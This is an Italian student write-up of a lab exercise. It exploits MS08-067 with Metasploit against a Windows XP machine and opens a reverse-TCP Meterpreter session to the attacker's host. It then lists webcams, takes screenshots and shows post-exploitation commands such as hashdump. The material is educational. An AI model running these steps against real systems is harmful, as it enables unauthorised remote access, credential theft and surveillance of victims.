

EXPLOIT MS08-067

TRACCIA:**Traccia: Hacking MS08-067**

Sulla base della teoria vista in lezione odierna, viene richiesto alla studente di ottenere una sessione di Meterpreter sul target Windows XP sfruttando con Metasploit la vulnerabilità MS08-067. Una volta ottenuta la sessione, lo studente dovrà:

- Recuperare uno screenshot tramite la sessione Meterpreter
- Individuare la presenza o meno di Webcam sulla macchina Windows XP

RICERCA VULNERABILITA', PAYLOAD E CONFIGURAZIONE

Come ormai da prassi, il primo passo nella riuscita dell'exploit e la ricerca della vulnerabilità su msfconsole, essa ci restituirà il modulo sulla quale lavorare. Dunque iniziamo ad aprire msfconsole e a lanciare il comando “ search ms08-067 ”, selezioniamo l'unico modulo disponibile con il comando “ use 0”.

```
msf6 > search ms08-067

Matching Modules
=====
#  Name
#  -----
0  exploit/windows/smb/ms08_067_netapi  2008-10-28  great  Yes  MS
08-067 Microsoft Server Service Relative Path Stack Corruption
```

Successivamente procediamo alla configurazione del modulo e alla selezione del payload. Per la configurazione del modulo abbiamo configurato solo gli standard ovvero RHOSTS E LHOSTS.

Interact with a module by name or index. For example `info 0`, `use 0` or `use exploit/windows/smb/ms08_067_netapi`

`msf6 > use 0`

`[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp`

`msf6 exploit(windows/smb/ms08_067_netapi) > show options`

Module options (exploit/windows/smb/ms08_067_netapi):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	127.0.0.1	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic Targeting

`msf6 exploit(windows/smb/ms08_067_netapi) > set lhost 192.168.1.25`

`lhost => 192.168.1.25`

`msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.1.200`

`rhosts => 192.168.1.200`

`msf6 exploit(windows/smb/ms08_067_netapi) > show payloads`

Compatible Payloads

A seguito della configurazione notiamo che il comando “ show payloads ” ci restituisce troppi risultati, così tentiamo di selezionarne uno tramite path completo, assemblandolo a seconda delle nostre necessità.

Per far questo ci siamo posti le seguenti domande:

- QUALE SISTEMA OPERATIVO?
- COSA VOGLIAMO?
- COME LO VOGLIAMO?

La risposta a queste domande è semplicemente, sul sistema operativo Windows vogliamo un meterpreter e vogliamo ottenerlo tramite reverse_tcp, dunque configuriamo il seguente:

set payload windows/meterpreter/reverse_tcp.

L'intuizione va a segno e il payload viene riconosciuto, dunque possiamo lanciare il comando run per far avviare l'exploit.

```
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):



| Name    | Current Setting | Required | Description                                                                                                                                                                     |
|---------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS  | 192.168.1.200   | yes      | The target host(s), see <a href="https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit">https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit</a> |
| RPORT   | 445             | yes      | The SMB service port (TCP)                                                                                                                                                      |
| SMBPIPE | BROWSER         | yes      | The pipe name to use (BROWSER, SRVSVC)                                                                                                                                          |



Payload options (windows/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.1.25    | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:



| Id | Name                |
|----|---------------------|
| 0  | Automatic Targeting |



msf6 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.200:445 - Automatically detecting the target...
[*] 192.168.1.200:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.1.200:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.1.200:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.1.200
[*] Meterpreter session 1 opened (192.168.1.25:4444 → 192.168.1.200:1034) at 2022-12-07 09:03:27 -0500

meterpreter > |
```

Ottenuta la shell di meterpreter andiamo a svolgere le task assegnate dalla traccia, la prima ci richiedeva di collegarci ad una webcam e catturarne l'immagine qualora fosse presente, dunque in primis lanciamo il comando “webcam_list”, sfortunatamente non ci sono webcam collegate nella macchina windows.

```
Stdapi: Webcam Commands
=====
Command      Description
-----
record_mic    Record audio from the default microphone for X seconds
webcam_chat   Start a video chat
webcam_list   List webcams
webcam_snap   Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam

Stdapi: Audio Output Commands
=====
Command      Description
-----
play         play a waveform audio file (.wav) on the target system

Priv: Elevate Commands
=====
Command      Description
-----
getsystem     Attempt to elevate your privilege to that of local system.

Priv: Password database Commands
=====
Command      Description
-----
hashdump      Dumps the contents of the SAM database

Priv: Timestomp Commands
=====
Command      Description
-----
timestomp     Manipulate file MACE attributes

meterpreter > webcam_list
[-] Unknown command: webcam_♦list
meterpreter > webcam_list
[-] No webcams were found
meterpreter > 
```

Svolta questa task possiamo alla prossima, ovvero fare uno screen desktop della sessione corrente.

Per fare ciò utilizziamo il comando “ screenshot ” ed otteniamo la nostra cattura schermo.

Priv: Elevate Commands

Command	Description
getsystem	Attempt to elevate your privilege to that of local system.

Priv: Password database Commands

Command	Description
hashdump	Dumps the contents of the SAM database

Priv: Timestamp Commands

Command	Description
timestamp	Manipulate file MACE attributes

```
meterpreter > webcam_list
[-] Unknown command: webcam_♦list
meterpreter > webcam_list
[-] No webcams were found
meterpreter > screenshot
Screenshot saved to: /home/kali/ZMroYOUI.jpeg
meterpreter > screenshot
Screenshot saved to: /home/kali/zo0rozVf.jpeg
meterpreter > █
```

Infine per comodità spostiamo il file jpeg sul nostro desktop kali e lo apriamo.

```
(kali@kali)-[~]
$ ls
10.10.11.180.gnmap  10.10.11.186.nmap  debian-ssh  exploitssh.py  joshhash.txt  Scylla  zo0rozVf.jpeg
10.10.11.180.nmap  10.10.11.186.xml  Desktop    flag.txt      Music         Templates
10.10.11.180.xml   192.168.50.101.gnmap  Documents  gameshell-save.sh  Pictures     Verbi2.py
10.10.11.185.gnmap  192.168.50.101.nmap  Downloads  gameshell.sh      prova1.py   Verbi.py
10.10.11.185.nmap  192.168.50.101.xml  DVWA      go               prova.py    Verbi.py.save
10.10.11.185.xml   AUTOEXEC.BAT        epicode_lab  gobuster        prova.py.save  Videos
10.10.11.186.gnmap  Bruteforce.py       Epicode_lab  hash.txt        Public       worknotes.txt

(kali@kali)-[~]
$ mv zo0rozVf.jpeg /home/kali/Desktop

(kali@kali)-[~]
$ █
```

